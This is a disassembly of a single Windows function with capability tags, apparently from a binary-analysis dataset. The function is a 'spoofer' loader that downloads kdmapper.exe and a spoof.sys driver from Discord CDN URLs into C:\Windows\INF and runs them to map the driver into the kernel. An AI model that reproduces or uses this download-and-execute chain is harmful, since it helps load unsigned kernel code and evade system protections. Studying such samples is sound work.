Function at 0x14001127b
Capabilities:
Download url
Execute command
Receive data

Disassembly:
jmp 0x140015470
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400290f6]
call fcn.1400115fa
nop
lea rdx, str.___n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str.Suspect_Spoofer_Welcomes_All
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str.___n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str.Do_you_want_to_continue_to_spoofing_the_system___Y_N_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140011186
nop
movsx eax, byte [rbp + 4]
cmp eax, 0x79
je 0x140015525
movsx eax, byte [rbp + 4]
cmp eax, 0x59
jne 0x1400155ed
lea rdx, str.Press_Any_Key_On_Your_Keyboard_To_Spoof_Your_System
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
call qword [sym.imp.ucrtbased.dll__getch]
nop
lea rax, str.https:__cdn.discordapp.com_attachments_1207177231386812416_1266679598603571250_kdmapper.exe_ex66e7f1ceis66e6a04ehm242470847c4a9241ecd8b361747200152bbe3b69c9fab304d308350cd731fa66
mov qword [rbp + 0x48], rax
lea rax, str.C:WindowsINFkdmapper.exe
mov qword [rbp + 0x68], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1267418316507451422_1267740893335781397_spoof.sys_ex66e7d9b6is66e68836hm040291346627a1344ad93feca6826a38d56fdea869d02a97b2c22a71e45b1a3e
mov qword [rbp + 0x88], rax
lea rax, str.C:WindowsINF_spoof.sys
mov qword [rbp + 0xa8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call fcn.14001158c
mov dword [rbp + 0x24], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x88]
xor ecx, ecx
call fcn.14001158c
mov dword [rbp + 0x24], eax
lea rdx, str.C:WindowsINFkdmapper.exe_C:WindowsINF_spoof.sys
lea rcx, [rbp + 0xc8]
call fcn.1400112bc
nop
lea rcx, [rbp + 0xc8]
call fcn.14001109b
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0xc8]
call fcn.140011131
nop
jmp 0x140015629
movsx eax, byte [rbp + 4]
cmp eax, 0x6e
je 0x1400155ff
movsx eax, byte [rbp + 4]
cmp eax, 0x4e
jne 0x140015615
lea rdx, str.Returning_to_Loader_Menu.._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
jmp 0x140015629
lea rdx, str.Invalid_Choice._Returning_to_Loader_Menu.._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
lea rdx, str._nPress_any_key_to_continue.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110b9
nop
call qword [sym.imp.ucrtbased.dll__getch]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ee40]
call fcn.140011514
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.140011311
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret